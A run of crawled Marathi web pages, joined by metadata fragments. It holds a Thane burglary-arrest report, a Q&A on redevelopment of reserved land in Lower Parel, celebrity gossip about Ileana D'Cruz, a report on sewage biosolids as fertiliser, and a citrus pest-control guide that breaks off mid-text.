सोन्याचे दागिने चोरणाऱ्या तीन अट्टल गुन्हेगारांना पोलिसांनी बेड्या ठोकल्या आहेत. हारूण अहमद शेख, लाला काळे व अरविंद काळे अशी अटक केलेल्या आरोपींची नावे असून त्यांच्याकडून सर्व दागिने जप्त केले आहेत. या त्रिकुटाने आणखी काही घरफोड्या केल्या असल्याचा अंदाज असून त्यादृष्टीने पोलीस तपास करीत आहेत.\nकळवा भागात अनेक चाळी तसेच कच्ची घरे असून त्यांचे दरवाजे देखील सुरक्षित नाहीत. अनेक दरवाज्यांचे कडीकोयंडे हलक्या दर्जाचे आहेत. चोरट्यांनी अशी कमकुवत घरे हेरून डाव साधला. तुटलेल्या अवस्थेत असलेले कडीकोयंडे कोणत्या दरवाज्याला आहेत याचा मागोवा घेऊन त्यांनी १४ घरफोड्या केल्या असल्याचे परीमंडळ १ चे पोलीस उपायुक्त अभिषेक त्रिमुखे यांनी आज पत्रकार परिषदेत सांगितले. विशेष म्हणजे या चोरट्यांनी पैसे न चोरता थेट सोन्याच्या दागिन्यांवरच डल्ला मारला.\nगेल्या सात ते आठ महिन्यात या घरफोड्या झाल्या असून रात्रीचे पेट्रोलिंग सुरू असताना हारूण शेख यास रेल्वे स्टेशनजवळ पकडले. तर नाना काळे व अरविंद काळे या दोघांना देखील पोलीस अंमलदारांनी पेट्रोलिंगच्या दरम्यान ताब्यात घेतले. त्यांची कसून चौकशी केल्यानंतर तिघांनी कळवा पोलीस ठाण्याच्या हद्दीत वेगवेगळ्या ठिकाणी घरफोड्या केल्याचे कबुल केले. गेल्या तीन वर्षांपासून ही टोळी कार्यरत होती. या टोळीतील काही आरोपी उत्तरप्रदेशातील असल्याचे तपासात निष्पन्न झाले आहे. वरिष्ठ पोलीस निरीक्षक एम.एम. बागवान यांच्या मार्गदर्शनाखाली पोलीस निरीक्षक आर.ई. भालसिंग, एम.एन. धाडवे, एस.एच. पाटील यांच्या टीमने ही लक्षणिय कामगिरी केली आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकरुण नायरचा भीम पराक्रम, तिसऱ्या कसोटीत ठोकलं त्रिशतक\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकल्याणमधील धोकादायक पत्रीपुल पाडण्याच्या कामाला अखेर सुरुवात\nतिसऱ्या मजल्यावरून तोल जाऊन चिमुकलीचा मृत्यू\nठाण्यातील दरोडेखोरांची टोळी गुलबर्ग्यातून जेरबंद\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00170.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/business/real-estate-news/follow-construction-rules-on-reserved-space/articleshow/65744359.cms", "date_download": "2018-09-25T18:12:13Z", "digest": "sha1:RTNIZOLGMG5H4GMBUUZIDXULYSLG5BOB", "length": 14757, "nlines": 135, "source_domain": "maharashtratimes.indiatimes.com", "title": "real estate news News: follow construction rules on reserved space - आरक्षित जागेवर बांधकाम पथ्ये पाळूनच! | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nआरक्षित जागेवर बांधकाम पथ्ये पाळूनच\nआरक्षित जागेवर बांधकाम पथ्ये पाळूनच\nआम्ही लोअर परळ विभागात शिंदे बिल्डिंग कम्पाऊंड व कवळी कम्पाऊंड या ३,५०० चौरस फुटांहून अधिक क्षेत्रफळाच्या १५०/२५४ क्रमांकाच्या भूखंडावर झोपडीवजा १० बाय १२च्या घरात राहतो. वसाहतीत ६८ घरे, ६ गाळे व मुख्य रस्त्याला लागून १० दुकाने आहेत. भाडेपट्टा व मालकी महापालिकेच्या नावे आहे. पाठीमागे भिंत असून स्टार कम्पाऊंड आहे. या जागेवर पालिकेच्या भंगार गाड्या व सामान आहे. त्याच्या मागे पिरामल मिल गल्ली हा रस्ता आहे. कवळी कम्पाऊंड येथे केमिकल कारखाना होता. १९९५मध्ये तो नवी मुंबई येथे गेला. त्या जागेवर १४ झोपडीवजा घरे अनधिकृतपणे बांधली गेली आहेत. आमचा पुनर्विकास गेल्या २० वर्षांपासून रखडलेला आहे. दोन विकासकांबरोबर दोन सोसायट्या झालेल्या आहेत. असे समजते, की २०२०मध्ये करार संपल्यानंतर या जागेचा ताबा म्हाडा घेणार असून त्या जागेशी विकासकाचा काही संबंध राहणार नाही असे महापालिकेने सांगितलेले आहे. त्यात एका विकासकाने सोसायटीच्या काही सदस्यांना हाताशी धरून तिसरा पार्टनर नियुक्त केला. त्याचा वाद होऊन न्यायालयात केस चालू आहे. आता तेच सोसायटीचे सदस्य एसआरए प्रकल्प आणूया असा आग्रह धरत आहेत. एसआरए प्रकल्पास २० टक्के टीडीआर मिळणार व झोपडपट्टी निवासी क्षेत्रासाठी ४ इतका वाढीव एफएसआय मिळणार असे सांगत आहेत. शिंदे बिल्डिंग कम्पाऊंड या जागेवर आरक्षणाचा शेरा आहे. मुंबईच्या नवीन विकास आराखड्यात आरक्षण तसेच ठेवले आहे. लोअर परळच्या सामाजिक संस्थांनी या जागेवर नाट्यगृह बांधण्याची मोहीम चालवलेली आहे. आम्ही जुन्या चाळीचे भाडे भरत असून झोपडपट्टीशी आमचा संबंध नाही असे रहिवाशांचे म्हणणे आहे. तेव्हा जुन्या बैठ्या चाळींनी एसआरए प्रकल्प आणावा का आरक्षित जागेवर एसआरए प्रकल्प आणल्यास पर्यायी पुनर्वसनाची शक्यता आहे का आरक्षित जागेवर एसआरए प्रकल्प आणल्यास पर्यायी पुनर्वसनाची शक्यता आहे का आरक्षित जागेवर डीसीपीआर नियमावली लागू होते का\nजुन्या बैठ्या चाळी जर अधिकृत असतील, तर अशा चाळींना विकास नियंत्रण नियमावलीअंतर्गत ३३ (७) ही नियमावली लागू होते. त्या चाळी जर अनधिकृत असतील, व त्यांची गणना झोपडपट्ट्यांमध्ये होत असेल तर मात्र ३३ (१०) या नुसार त्यांचा पुनर्विकास झोपडपट्टी पुनर्वसनाच्या माध्यमातूनच करावा लागेल. या सर्व प्रश्नांची उकल आपण विकासक नेमण्याचा निर्णय घेण्याआधी केली असती, तर आपल्या अडचणी कमी झाल्या असत्या. पण आपण विकासक नेमताना या कोणत्याही गोष्टींचा विचार केलेला दिसत नाही. विकासक जेवणावळी घालतो. म्होरक्यांना खिशात ठेवण्याचे उपाय करतो. तसेच, सणाच्या काळात देणग्याही देतो आणि मग आपल्याला लुटून कोट्यवधींचा फायदा करतो, हे माहीत असूनही आपण विकासकाकडे जाता ही वस्तुस्थिती आहे. आरक्षित जागेवर किंवा इतर जागेवर विकासकाची नेमणूक जर केलीत, तर पर्याय देण्याचे सर्व निर्णय त्याच्याशी चर्चा करूनच करायचे असतात. आरक्षित जाागेवर बांधकाम करताना काही पथ्ये पाळायची असतात. ही पथ्ये विकास नियंत्रण नियमावलीत नमूद केलेली आहेत. त्यामुळे नवीन जाहीर झालेल्या नियमावलीचा अभ्यास केला किंवा साधे वाचन जरी केले, तरी आरक्षित जागेसंदर्भात सर्व माहिती मिळू शकते.\nमिळवा प्रॉपर्टी बातम्या(real estate news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nreal estate news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nबक्षिसाच्या रकमेवर प्राप्तिकर लागू नाही\nस्वयंपुनर्विकासाचा ठराव कधीही करता येतो\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1आरक्षित जागेवर बांधकाम पथ्ये पाळूनच\n2मालमत्ता वर्गवारीचा आढावा घेणे आवश्यक...\n3PPF: जाणून घ्या 'पीपीएफ'चे नियम...\n6प्रभु कॉलम ३ सप्टेंबर...\n8प्रभु कॉलम ३ सप्टेंबर...\n9दोन सोसायट्यांचे एकीकरण शक्य...\n10पुनर्विकास प्रकल्पावर जीएसटी लागू आहे...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00170.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://www.loksatta.com/manoranjan-news/raid-movie-actress-ileana-dcruz-and-andrew-kneebone-expecting-a-baby-1664577/", "date_download": "2018-09-25T17:11:22Z", "digest": "sha1:L3DSQFW4TJ5GS7ZUWWZ3TSRJIZTGWO37", "length": 14089, "nlines": 220, "source_domain": "www.loksatta.com", "title": "raid movie actress ileana dcruz and andrew kneebone expecting a baby | लग्नाआधीच इलियाना डिक्रुझ गरोदर? | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nलग्नाआधीच इलियाना डिक्रुझ गरोदर\nलग्नाआधीच इलियाना डिक्रुझ गरोदर\nमला माहित नाही मी यावर काय उत्तर देऊ. सध्या माझं खासगी आयुष्य आणि व्यावसायिक आयुष्य चांगलं सुरू आहे\nइलियाना डिक्रूझ, अँड्र्यू नीबोन\nअजय देवगणच्या रेड सिनेमातील अभिनेत्री इलियाना डिक्रुझ गरोदर असल्याच्या चर्चा सध्या सिनेवर्तुळात आहेत. काही दिवसांपूर्वी इलियाने तिच्या इन्स्टाग्राम अकाऊंटवरून तिच्या प्रियकरासोबतचे काही फोटो शेअर केले होते. हे फोटो पाहून तिने प्रियकर अॅड्यू नीबोनसह लग्न केले की काय असाच प्रश्न तिच्या चाहत्यांना पडला होता. तिच्या लग्नाच्या चर्चांवरून पडदा उठतो न उठतो तोच आता इलियाना गरोदर असल्याच्या चर्चा सिनेवर्तुळात सुरू आहेत.\nमीडिया रिपोर्टनुसार, अनेकदा इलियानाला घट्ट आणि तोकड्या कपड्यांमध्ये पाहण्यात आले आहे. अनेक कार्यक्रमांमध्ये ती अशाच प्रकारचे कपडे घालायला प्राधान्य देते. मात्र गेल्या काही दिवसांपासून ती सैल कपडे घालत असल्यामुळे अनेकांना ती गरोदर असल्याचे वाटत आहे. पण तिला याबद्दल विचारले असता तिने कोणतीही प्रतिक्रिया देण्यास मनाई केली. इलियानाला तिचे खासगी आयुष्य गुलदस्त्यातच ठेवायला आवडते. त्यामुळे तिने जर अचानक बाळासोबतचा तिचा फोटो शेअर केला तर आश्चर्य वाटून घेऊ नका.\nइलियाने तिच्या एका इन्स्टाग्राम पोस्टमध्ये नीबोनला ‘हबी’ असे म्हटले होते. यावरुनच सोशल मीडियावर इलियाना डिक्रुझने प्रियकर अॅड्यू नीबोनशी लग्न केले असल्याचे म्हटले जात आहे. पण याबद्दल इलियानाला विचारले असता ती म्हणाली की, ‘मला माहित नाही मी यावर काय उत्तर देऊ. सध्या माझं खासगी आयुष्य आणि व्यावसायिक आयुष्य चांगलं सुरू आहे. मला माझं खासगी आयुष्य सर्वांसमोर आणायचे नाही. त्यामुळे यावर जास्त न बोललेलंच बरं. माझ्या खाजगी आयुष्याशिवायही जगाला दाखवण्यासाठी अनेक गोष्टी आहेत.’\nइलियाने लिव्ह इन रिलेशनशिप आणि लग्न यांच्यात काहीच अंतर नसल्याचे तिने म्हटले होते. ‘या दोघांमध्ये फक्त एक कागदाचा तुकडा येतो जो या दोघांना वेगळं करतो. अनेकांसाठी लग्न फार महत्त्वपूर्ण असते. लग्नामुळे अनेक गोष्टी बदलतात. पण मी नात्याला एकाच चष्म्यातून पाहत नाही. माझ्या प्रियकराला दिलेले वचन या सर्व गोष्टींमुळे बदलणारे नाही.’\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00170.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.agrowon.com/agricultural-news-marathinews-regarding-use-sewage-water-agrowon-maharashtra-9308", "date_download": "2018-09-25T17:57:29Z", "digest": "sha1:2OSQBAFTQZSTPR2WRZJZ4DDLAWU2FKZ4", "length": 16149, "nlines": 148, "source_domain": "www.agrowon.com", "title": "agricultural news in marathi,news regarding use of sewage water, Agrowon, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nसांडपाण्यातील जैवघटक ठरू शकतात पारंपरिक खतांना पर्याय\nसांडपाण्यातील जैवघटक ठरू शकतात पारंपरिक खतांना पर्याय\nशुक्रवार, 15 जून 2018\nमिसिसीपी राज्य विद्यापीठाने सांडपाण्यातील जैविक घन घटकांचा वापर शेतीमध्ये खत म्हणून वापर करण्यासंदर्भात लक्ष केंद्रित केले आहे. सांडपाण्यावरील प्रक्रिया प्रकल्पातून उपलब्ध होणारे जैवघटक योग्य प्रक्रिया केल्यानंतर पारंपरिक खतांना चांगल्या प्रकारे पर्याय देऊ शकत असल्याचे आढळले आहे.\nमिसिसीपी राज्य विद्यापीठाने सांडपाण्यातील जैविक घन घटकांचा वापर शेतीमध्ये खत म्हणून वापर करण्यासंदर्भात लक्ष केंद्रित केले आहे. सांडपाण्यावरील प्रक्रिया प्रकल्पातून उपलब्ध होणारे जैवघटक योग्य प्रक्रिया केल्यानंतर पारंपरिक खतांना चांगल्या प्रकारे पर्याय देऊ शकत असल्याचे आढळले आहे.\nअमेरिकेतील अनेक राज्यांमध्ये साठ टक्क्यांपर्यंत जैवघटकांचा वापर केला जातो. त्या तुलनेमध्ये मिसिसीपी राज्यामध्ये हे प्रमाण जवळपास शून्य आहे. १९५० पूर्वी सांडपाणी हे नैसर्गिक पाणी स्रोतामध्ये सोडून दिले जाई. परिणामी, प्रदूषणात वाढ होऊ लागल्याने १९७० पासून शासनाने पर्यावरण संरक्षण एजन्सी स्थापन केली. त्यानंतर सांडपाण्याची विल्हेवाट लावण्याच्या पद्धतीमध्ये सुधारणा करण्यात येऊ लागल्या. अशा पाण्यातील अनेक घटकांचा वापर पिकांसाठी करण्यात येऊ लागला. अगदी खाद्य पिकांमध्येही योग्य खबरदारी घेऊन त्याचा वापर होऊ लागला.\nमिसिसीपी राज्य विद्यापीठातील संशोधक शॉन ब्रोडेरीक आणि विल्यम्स इव्हान्स यांनी सांडपाण्यातील जैवघटकांचा शेतीतील वापराचे प्रयोग केले. त्यातून मिळालेले निष्कर्ष उत्साहवर्धक होते. सांडपाण्यावरील प्रक्रियेवेळी वेगळे केले जाणारे जैवघटक, गाळ हा एका बंदीस्त हरितगृहामध्ये वाळवला जातो. त्यातील पाण्याचे प्रमाण १० टक्क्यांपेक्षा कमी झाल्यानंतर स्वयंचलित यंत्रणेद्वारे ते सतत हलवले जाते. यामुळे त्यातील हानिकारक सूक्ष्मजीव नष्ट होतात, तसेच कुजण्याची प्रक्रिया सुरू होऊन सेंद्रिय व पोषक घटकांमध्ये वाढ होते.\nब्रोडेरीक म्हणाले की, सातत्याने जैवघटक हलते राहिल्याने त्यातील हानिकारक बाबी कमी होऊन तण व रोगमुक्त असे सेंद्रिय पदार्थ मिळतात. पारंपरिक खतांच्या तुलनेमध्ये या खतांचे पिकांवर चांगले परिणाम दिसून आले आहेत. प्रयोगामध्ये २, ८, १४ आणि २० टन प्रतिएकर या दराने जैवघटकांचा वापर करण्यात आला. त्याची तुलना सावकाश उपलब्ध होणाऱ्या व्यावसायिक रासायनिक खतांशी करण्यात आली.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/node/10688", "date_download": "2018-09-25T17:57:41Z", "digest": "sha1:XVJG7VHOUKBFFGB5UAPHOZGSCMAXIOM2", "length": 21284, "nlines": 182, "source_domain": "www.agrowon.com", "title": "| Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nलिंबूवर्गीय फळपिकातील कीड रोग नियंत्रण\nलिंबूवर्गीय फळपिकातील कीड रोग नियंत्रण\nलिंबूवर्गीय फळपिकातील कीड रोग नियंत्रण\nडॉ. एम. बी. पाटील\nबुधवार, 25 जुलै 2018\nलिंबूवर्गीय फळबागेमध्ये फळगळ ही समस्या प्रामुख्याने जाणवते. या काळात बुरशीजन्य रोग, फळमाशी, रसशोषक पतंगाचाही प्रादुर्भाव जाणवू शकतो.\nलिंबूवर्गीय फळबागेमध्ये फळगळ ही समस्या प्रामुख्याने जाणवते. या काळात बुरशीजन्य रोग, फळमाशी, रसशोषक पतंगाचाही प्रादुर्भाव जाणवू शकतो.\nफळाच्या योग्य वाढीसाठी झाडावर पुरेसे पालवी असणे गरजेचे असते. एका फळाच्या पूर्ण वाढीसाठी चाळीस पानांची गरज असते. - फळ तोडणीनंतर वाळलेल्या फांद्या काढून टाकाव्यात. त्यामुळे फांद्यावरील सुप्तावस्थेतील रोगकारक घटक कमी होतात.\nपुढील टप्प्यामध्ये फळवाढीसाठी कार्बन नत्राचे संतूलन असणे गरजेचे असते. पेशीक्षय क्रिया कमी करणे व ऑक्झिनच्या वाढीसाठी नत्राची गरज असते. ही मात्रा कृत्रिमरित्या युरियाची फवारणी करून वाढवता येते.\nसध्या लिंबूवर्गीय बागेमध्ये फळगळ दिसून येत आहे. पावसाची झड तीन चार दिवस संततधार असल्यामुळे बुरशीचा प्रादुर्भाव वाढत आहे. त्यात कोलेटोट्रीकम बुरशीमुळे देठ पिवळे पडणे आणि देठाजवळ काळा डाग दिसत आहे.\nकार्बेन्डाझीम १५ ग्रॅम प्रति १० लीटर पाणी\nफळावर फायटोप्थोरा बुरशीचा प्रादुर्भाव होऊनही गळ होते. यामध्ये मोसंबीच्या खालील बाजूची फळे अगोदर सडण्यास सुरवात होते.\nमेटॅलॅक्झिल (४ टक्के) अधिक मॅन्कोझेब (६४ टक्के) संयुक्त बुरशीनाशक २५ ग्रॅम प्रति १० लिटर पाणी.\nपुढील फवारणी पंधरा दिवसांच्या अंतराने दोन वेळा करावी.\nलिंबूवर्गीय झाडावरील फळगळ प्रामूख्याने बोट्रिडीप्लोडिया थियोब्राेमी, कोलेक्टोट्रिकम ग्लोईओस्पोरिऑइडस व काही अंशी आल्टरनेरिया सिद्री या बुरशीमुळे होते. या बुरशी फळाच्या देठाद्वारे फळामध्ये प्रवेश करून पूर्ण वाढलेल्या फळाचे नुकसान करतात. या बुरशीच्या प्रसारासाठी किडीही मदत करतात. (उदा. काळीमाशी, मावा) त्यांचे वेळीच नियंत्रण करावे.\nफळगळ रोखण्यासठी कृत्रिम जैवसंजीवकांचा वापर करावा. उदा. २,४ डी , नॅप्थॅलीन अॅसीसिटीक अॅसीड (एन.ए.ए), जिबरेलिक अॅसिड (जी.ए.३) हे वनस्पतीतील ऑक्झीनचे प्रमाण वाढवून पेशीक्षय कमी करण्याचे कार्य करतात. वातावरणामुळे होणारी फळगळ पूर्ण थांबवण्यासाठी अंबिया बहाराची फळधारणा झाल्यानंतर (साधारणतः मे आणि जून महिन्यात) २,४ डी (१५ पीपीएम) किंवा जिबरेलिक अॅसिड (१५ पीपीएम) १५ मिलीग्रॅम अधिक कार्बेन्डाझीम १ ग्रॅम अधिक युरिया १०० ग्रॅम प्रति लिटर पाणी या प्रमाणे फवारणी करावी. ही फवारणी झालेली असेल. याच मिश्रणाच्या दोन फवारण्या एक महिन्यांच्या अंतराने सप्टेंबर व ऑक्टोबर महिन्यात फळे तोडणीपूर्व कराव्यात.\nरस शोषण करणारे पतंग - सुमारे २० प्रकार असले तरी त्यातील अॅाफिडेरिस मॅटर्ना हा पतंग आपल्याकडे नियमितपणे नुकसानकारक (२५ ते ४० टक्के फळगळ) ठरला आहे. या किडीचा प्रादुर्भाव ऑगस्ट- सप्टेबरमध्ये जास्त दिसून येतो. मृगबहारातील फळगळी पेक्षा अंबिया बहाराच्या झाडावरील प्रादुर्भावीत फळांची गळ जास्त आढळते.\nप्रसार रोखण्यासाठी बाग स्वच्छ असावी. बागेतील गळालेली फळे गोळा करुन जमिनीत दाबून नष्ट करावीत.\nपतंगाना पकडण्याकरिता रात्री प्रकाश सापळयाचा वापर करावा.\nसायंकाळी ६ ते ८ च्या दरम्यान बागेत धूर करून पतंगाना पिटाळून लावावे.\nबागेभोवतीच्या अन्य पर्यायी वनस्पती उदा. गुळवेल, वासण वेल उपटून नष्ट कराव्यात. किंवा त्यावर कीडनाशकाची फवारणी करावी. त्यावर या किडीच्या अंडी अळी आणि कोष अवस्था पूर्ण होतात.\nपतंगाना आकर्षित करून मारण्यासाठी विषारी आमिष तयार करावे.\nप्रमाण मॅलॅथिऑन २० मिलि अधिक गुळ २०० ग्रॅम अधिक फळाचा रस प्रति दोन लीटर पाणी.\nहे अमिष रुंद तोडांच्या बाटलीत भरुन दोन बाटल्या प्रति पंचवीस ते तीस झाडासाठी या प्रमाणे बागेत ठेवाव्यात.\nकिडीची ओळख : प्रौढ माशा मजबूत असून, रंगाने भुरकट पारदर्शक पंख आणि पिवळे पाय, गडद 